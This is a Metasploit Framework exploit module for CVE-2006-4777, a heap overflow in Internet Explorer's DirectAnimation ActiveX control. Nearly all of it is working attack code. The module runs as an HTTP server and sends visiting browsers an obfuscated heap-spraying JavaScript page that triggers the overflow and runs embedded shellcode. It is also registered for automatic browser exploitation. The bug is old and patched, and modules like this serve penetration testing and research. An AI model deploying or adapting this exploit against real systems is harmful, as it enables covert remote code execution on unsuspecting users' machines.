This Metasploit module exploits a heap overflow vulnerability in the KeyFrame method of the direct animation ActiveX control. This is a port of the exploit implemented by Alexander Sotirov.
ee23cf2762a7f51047b8075259d50984edeb1f3ca15637fe82e5757310a61103##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => 'KeyFrame',
:classid => 'DirectAnimation.PathControl',
:rank => NormalRanking # reliable memory corruption
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',
'Description' => %q{
This module exploits a heap overflow vulnerability in the KeyFrame method of the
direct animation ActiveX control. This is a port of the exploit implemented by
Alexander Sotirov.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Did all the hard work
'Alexander Sotirov <asotirov@determina.com>',
# Integrated into msf
'skape',
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-4777' ],
[ 'OSVDB', '28842' ],
[ 'BID', '20047' ],
[ 'URL', 'https://www.blackhat.com/presentations/bh-eu-07/Sotirov/Sotirov-Source-Code.zip' ],
[ 'URL', 'http://www.microsoft.com/technet/security/Bulletin/MS06-067.mspx' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
# Maximum payload size is limited by heaplib
'Space' => 870,
'MinNops' => 32,
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000/XP/2003 Universal', { }],
],
'DisclosureDate' => 'Nov 14 2006',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# This is taken directly from Alex's exploit -- all credit goes to him.
trigger_js = heaplib(
"var target = new ActiveXObject('DirectAnimation.PathControl');\n" +
"var heap = new heapLib.ie();\n" +
"var shellcode = unescape('#{Rex::Text.to_unescape(p.encoded)}');\n" +
"var jmpecx = 0x4058b5;\n" +
"var vtable = heap.vtable(shellcode, jmpecx);\n" +
"var fakeObjPtr = heap.lookasideAddr(vtable);\n" +
"var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) + heap.padding(14/2);\n" +
"heap.gc();\n" +
"for (var i = 0; i < 100; i++)\n" +
" heap.alloc(vtable)\n" +
"heap.lookaside(vtable);\n" +
"for (var i = 0; i < 100; i++)\n" +
" heap.alloc(0x2010)\n" +
"heap.freeList(fakeObjChunk, 2);\n" +
"target.KeyFrame(0x40000801, new Array(1), new Array(1));\n" +
"delete heap;\n")
# Obfuscate it up a bit
trigger_js = obfuscate_js(trigger_js,
'Symbols' =>
{
'Variables' => [ 'target', 'heap', 'shellcode', 'jmpecx', 'fakeObjPtr', 'fakeObjChunk' ]
})
# Fire off the page to the client
send_response(cli,
"<html><script language='javascript'>#{trigger_js}</script></html>")
# Handle the payload
handler(cli)
end
end
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